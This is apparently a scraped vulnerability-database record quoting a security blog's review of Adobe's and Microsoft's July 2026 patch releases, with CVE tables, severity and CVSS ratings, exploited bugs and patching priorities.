Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:26.988998Z"}, {"uuid": "1e032924-8565-4845-ab5e-0e2debbc4875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54987", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  